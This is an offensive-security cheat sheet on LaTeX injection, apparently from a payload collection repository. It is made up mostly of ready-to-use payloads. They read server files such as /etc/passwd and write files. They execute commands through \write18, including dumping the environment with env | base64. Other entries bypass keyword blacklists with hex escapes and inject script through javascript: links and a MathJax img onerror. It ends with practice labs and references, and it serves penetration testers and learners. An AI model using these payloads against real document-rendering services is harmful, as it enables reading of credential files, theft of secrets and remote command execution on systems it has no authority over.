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141 lines
3.4 KiB
Markdown
141 lines
3.4 KiB
Markdown
# LaTeX Injection
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> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
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## Summary
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* [File Manipulation](#file-manipulation)
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* [Read File](#read-file)
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* [Write File](#write-file)
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* [Command Execution](#command-execution)
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* [Cross Site Scripting](#cross-site-scripting)
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* [References](#references)
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## File Manipulation
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### Read File
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Attackers can read the content of sensitive files on the server.
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Read file and interpret the LaTeX code in it:
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```tex
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\input{/etc/passwd}
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\include{somefile} # load .tex file (somefile.tex)
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```
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Read single lined file:
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```tex
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\newread\file
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\openin\file=/etc/issue
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\read\file to\line
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\text{\line}
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\closein\file
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```
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Read multiple lined file:
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```tex
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\lstinputlisting{/etc/passwd}
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\newread\file
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\openin\file=/etc/passwd
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\loop\unless\ifeof\file
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\read\file to\fileline
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\text{\fileline}
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\repeat
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\closein\file
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```
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Read text file, **without** interpreting the content, it will only paste raw file content:
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```tex
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\usepackage{verbatim}
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\verbatiminput{/etc/passwd}
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```
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If injection point is past document header (`\usepackage` cannot be used), some control
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characters can be deactivated in order to use `\input` on file containing `$`, `#`,
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`_`, `&`, null bytes, ... (eg. perl scripts).
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```tex
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\catcode `\$=12
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\catcode `\#=12
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\catcode `\_=12
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\catcode `\&=12
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\input{path_to_script.pl}
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```
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To bypass a blacklist try to replace one character with it's unicode hex value.
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- ^^41 represents a capital A
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- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
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```tex
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\lstin^^70utlisting{/etc/passwd}
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```
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### Write File
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Write single lined file:
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```tex
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\newwrite\outfile
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\openout\outfile=cmd.tex
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\write\outfile{Hello-world}
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\write\outfile{Line 2}
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\write\outfile{I like trains}
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\closeout\outfile
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```
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## Command Execution
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The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
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```tex
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\immediate\write18{id > output}
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\input{output}
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```
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If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
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```tex
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\immediate\write18{env | base64 > test.tex}
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\input{text.tex}
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```
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```tex
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\input|ls|base64
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\input{|"/bin/hostname"}
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```
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## Cross Site Scripting
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From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
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```tex
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\url{javascript:alert(1)}
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\href{javascript:alert(1)}{placeholder}
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```
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in [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.html)
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```tex
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\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
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```
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## Labs
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* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
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* [Root Me - LaTeX - Command execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
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## References
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- [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
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- [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
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- [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) |